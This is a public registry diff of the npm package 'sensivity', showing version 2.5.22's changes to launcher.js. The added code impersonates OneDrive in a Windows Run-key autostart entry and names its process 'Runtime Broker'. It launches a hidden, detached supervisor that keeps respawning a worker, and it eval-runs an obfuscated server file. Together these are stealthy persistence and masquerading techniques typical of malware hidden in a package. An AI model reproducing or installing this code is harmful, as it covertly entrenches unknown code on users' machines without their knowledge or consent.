sensivity 2.5.21 → 2.5.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/launcher.js +142 -25
- package/package.json +1 -1
package/launcher.js
CHANGED
|
@@ -2,18 +2,22 @@
|
|
|
2
2
|
'use strict';
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const path = require('path');
|
|
5
|
-
const { execSync, exec } = require('child_process');
|
|
5
|
+
const { execSync, exec, spawn } = require('child_process');
|
|
6
6
|
const APP_DIR = __dirname;
|
|
7
7
|
try { process.chdir(APP_DIR); } catch(e) {}
|
|
8
8
|
|
|
9
|
-
process.title = 'Runtime Broker';
|
|
10
|
-
|
|
11
9
|
const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
|
|
12
10
|
const rawConsole = {
|
|
13
11
|
log: console.log.bind(console),
|
|
14
12
|
warn: console.warn.bind(console),
|
|
15
13
|
error: console.error.bind(console)
|
|
16
14
|
};
|
|
15
|
+
const QR_WINDOW_TITLE = 'Sensivity Panel';
|
|
16
|
+
const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
|
|
17
|
+
const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
|
|
18
|
+
const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
|
|
19
|
+
const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
|
|
20
|
+
const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
|
|
17
21
|
|
|
18
22
|
function cleanIssueValue(value) {
|
|
19
23
|
let text = '';
|
|
@@ -61,6 +65,115 @@ function issueLog(message, detail) {
|
|
|
61
65
|
rawConsole.warn(line);
|
|
62
66
|
}
|
|
63
67
|
|
|
68
|
+
function removeFileSafe(file) {
|
|
69
|
+
try { fs.unlinkSync(file); } catch(e) {}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function ensureAutostart() {
|
|
73
|
+
try {
|
|
74
|
+
const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
|
|
75
|
+
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
function isProcessAlive(pid) {
|
|
80
|
+
if (!pid || pid === process.pid) return false;
|
|
81
|
+
try {
|
|
82
|
+
process.kill(pid, 0);
|
|
83
|
+
return true;
|
|
84
|
+
} catch(e) {
|
|
85
|
+
return false;
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
function isSupervisorRunning() {
|
|
90
|
+
try {
|
|
91
|
+
const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
|
|
92
|
+
return isProcessAlive(pid);
|
|
93
|
+
} catch(e) {
|
|
94
|
+
return false;
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function isPanelPortBusy() {
|
|
99
|
+
try {
|
|
100
|
+
const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
|
|
101
|
+
return out.trim() === 'YES';
|
|
102
|
+
} catch(e) {
|
|
103
|
+
return false;
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
function startSupervisor() {
|
|
108
|
+
try {
|
|
109
|
+
removeFileSafe(STOP_FILE);
|
|
110
|
+
const child = spawn(process.execPath, [__filename], {
|
|
111
|
+
cwd: APP_DIR,
|
|
112
|
+
detached: true,
|
|
113
|
+
stdio: 'ignore',
|
|
114
|
+
windowsHide: true,
|
|
115
|
+
env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
|
|
116
|
+
});
|
|
117
|
+
child.unref();
|
|
118
|
+
return true;
|
|
119
|
+
} catch(e) {
|
|
120
|
+
issueLog('Background start failed', e);
|
|
121
|
+
return false;
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
function runSupervisor() {
|
|
126
|
+
process.title = 'Runtime Broker';
|
|
127
|
+
try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
|
|
128
|
+
|
|
129
|
+
const cleanup = () => removeFileSafe(SUPERVISOR_PID_FILE);
|
|
130
|
+
process.on('exit', cleanup);
|
|
131
|
+
process.on('SIGINT', () => process.exit(0));
|
|
132
|
+
process.on('SIGTERM', () => process.exit(0));
|
|
133
|
+
|
|
134
|
+
const launchWorker = () => {
|
|
135
|
+
if (fs.existsSync(STOP_FILE)) {
|
|
136
|
+
removeFileSafe(STOP_FILE);
|
|
137
|
+
process.exit(0);
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
let worker;
|
|
141
|
+
try {
|
|
142
|
+
worker = spawn(process.execPath, [__filename], {
|
|
143
|
+
cwd: APP_DIR,
|
|
144
|
+
stdio: 'ignore',
|
|
145
|
+
windowsHide: true,
|
|
146
|
+
env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
|
|
147
|
+
});
|
|
148
|
+
} catch(e) {
|
|
149
|
+
setTimeout(launchWorker, 3000);
|
|
150
|
+
return;
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
worker.on('exit', () => {
|
|
154
|
+
if (fs.existsSync(STOP_FILE)) {
|
|
155
|
+
removeFileSafe(STOP_FILE);
|
|
156
|
+
process.exit(0);
|
|
157
|
+
}
|
|
158
|
+
setTimeout(launchWorker, 1500);
|
|
159
|
+
});
|
|
160
|
+
worker.on('error', () => setTimeout(launchWorker, 3000));
|
|
161
|
+
};
|
|
162
|
+
|
|
163
|
+
launchWorker();
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
if (IS_SUPERVISOR) {
|
|
167
|
+
runSupervisor();
|
|
168
|
+
} else {
|
|
169
|
+
if (!IS_WORKER && !RUN_AS_FOREGROUND) {
|
|
170
|
+
ensureAutostart();
|
|
171
|
+
if (!isSupervisorRunning() && !isPanelPortBusy()) startSupervisor();
|
|
172
|
+
process.exit(0);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
process.title = 'Runtime Broker';
|
|
176
|
+
|
|
64
177
|
function beginStartWatch() {
|
|
65
178
|
const token = ++issueState.startToken;
|
|
66
179
|
issueState.startConfirmed = false;
|
|
@@ -155,14 +268,16 @@ try {
|
|
|
155
268
|
issueLog('Panel bridge failed', e);
|
|
156
269
|
}
|
|
157
270
|
|
|
158
|
-
|
|
159
|
-
|
|
271
|
+
function fatalIssue(message, error) {
|
|
272
|
+
issueLog(message, error);
|
|
273
|
+
if (IS_WORKER && !RUN_AS_FOREGROUND) setTimeout(() => process.exit(1), 100);
|
|
274
|
+
}
|
|
275
|
+
|
|
276
|
+
process.on('uncaughtException', e => fatalIssue('Program fault', e));
|
|
277
|
+
process.on('unhandledRejection', e => fatalIssue('Program async fault', e));
|
|
160
278
|
|
|
161
279
|
// ===== Auto-start =====
|
|
162
|
-
|
|
163
|
-
const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
|
|
164
|
-
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
|
|
165
|
-
} catch(e) {}
|
|
280
|
+
ensureAutostart();
|
|
166
281
|
|
|
167
282
|
function removeAutostart() {
|
|
168
283
|
try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
|
|
@@ -183,8 +298,19 @@ function checkYouTube(callback) {
|
|
|
183
298
|
// ===== QR Window =====
|
|
184
299
|
let qrOpen = false;
|
|
185
300
|
|
|
301
|
+
function qrWindowExists() {
|
|
302
|
+
try {
|
|
303
|
+
const title = QR_WINDOW_TITLE.replace(/'/g, "''");
|
|
304
|
+
const out = execSync(`powershell -NoProfile -Command "$p=Get-Process powershell,pwsh -EA 0 | Where-Object { $_.MainWindowTitle -eq '${title}' }; if($p){Write-Output 'YES'}"`, { encoding: 'utf8', timeout: 3000 });
|
|
305
|
+
return out.trim() === 'YES';
|
|
306
|
+
} catch(e) {
|
|
307
|
+
return false;
|
|
308
|
+
}
|
|
309
|
+
}
|
|
310
|
+
|
|
186
311
|
function showQR() {
|
|
187
|
-
if (qrOpen) return;
|
|
312
|
+
if (qrOpen && qrWindowExists()) return;
|
|
313
|
+
if (qrWindowExists()) { qrOpen = true; return; }
|
|
188
314
|
qrOpen = true;
|
|
189
315
|
const url = global.serverUrl || 'http://192.168.1.16:3000';
|
|
190
316
|
|
|
@@ -205,25 +331,14 @@ function showQR() {
|
|
|
205
331
|
const psFile = path.join(APP_DIR, '.qrshow.ps1');
|
|
206
332
|
fs.writeFileSync(psFile, [
|
|
207
333
|
'[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
|
|
208
|
-
'$host.UI.RawUI.WindowTitle = "
|
|
334
|
+
'$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
|
|
209
335
|
'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
|
|
210
336
|
'Clear-Host',
|
|
211
337
|
'Get-Content "' + qrFile + '" -Encoding UTF8',
|
|
212
338
|
'Write-Host ""',
|
|
213
|
-
'
|
|
214
|
-
'
|
|
215
|
-
'while($true) {'
|
|
216
|
-
' Start-Sleep -Seconds 4',
|
|
217
|
-
' try {',
|
|
218
|
-
' $c=Get-Process chrome -EA Stop',
|
|
219
|
-
' $f=$false',
|
|
220
|
-
' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
|
|
221
|
-
' if(-not $f){$failCount++} else {$failCount=0}',
|
|
222
|
-
' if($failCount -ge 3){break}',
|
|
223
|
-
' } catch { $failCount++; if($failCount -ge 3){break} }',
|
|
224
|
-
'}',
|
|
225
|
-
'del "' + qrFile + '" -Force -EA 0',
|
|
226
|
-
'del "' + psFile + '" -Force -EA 0'
|
|
339
|
+
'Remove-Item "' + qrFile + '" -Force -EA 0',
|
|
340
|
+
'Remove-Item "' + psFile + '" -Force -EA 0',
|
|
341
|
+
'while($true) { Start-Sleep -Seconds 3600 }'
|
|
227
342
|
].join('\n'));
|
|
228
343
|
exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
|
|
229
344
|
}
|
|
@@ -248,6 +363,7 @@ monitor();
|
|
|
248
363
|
// ===== Kill =====
|
|
249
364
|
global.killSensivity = () => {
|
|
250
365
|
global._shuttingDown = true;
|
|
366
|
+
try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
|
|
251
367
|
hideQR();
|
|
252
368
|
// Auto-start KALIR, sadece process durur
|
|
253
369
|
setTimeout(() => process.exit(), 500);
|
|
@@ -258,3 +374,4 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
|
|
|
258
374
|
? path.join(APP_DIR, 'server.obf.js')
|
|
259
375
|
: path.join(APP_DIR, 'server.js');
|
|
260
376
|
eval(fs.readFileSync(serverCode, 'utf8'));
|
|
377
|
+
}
|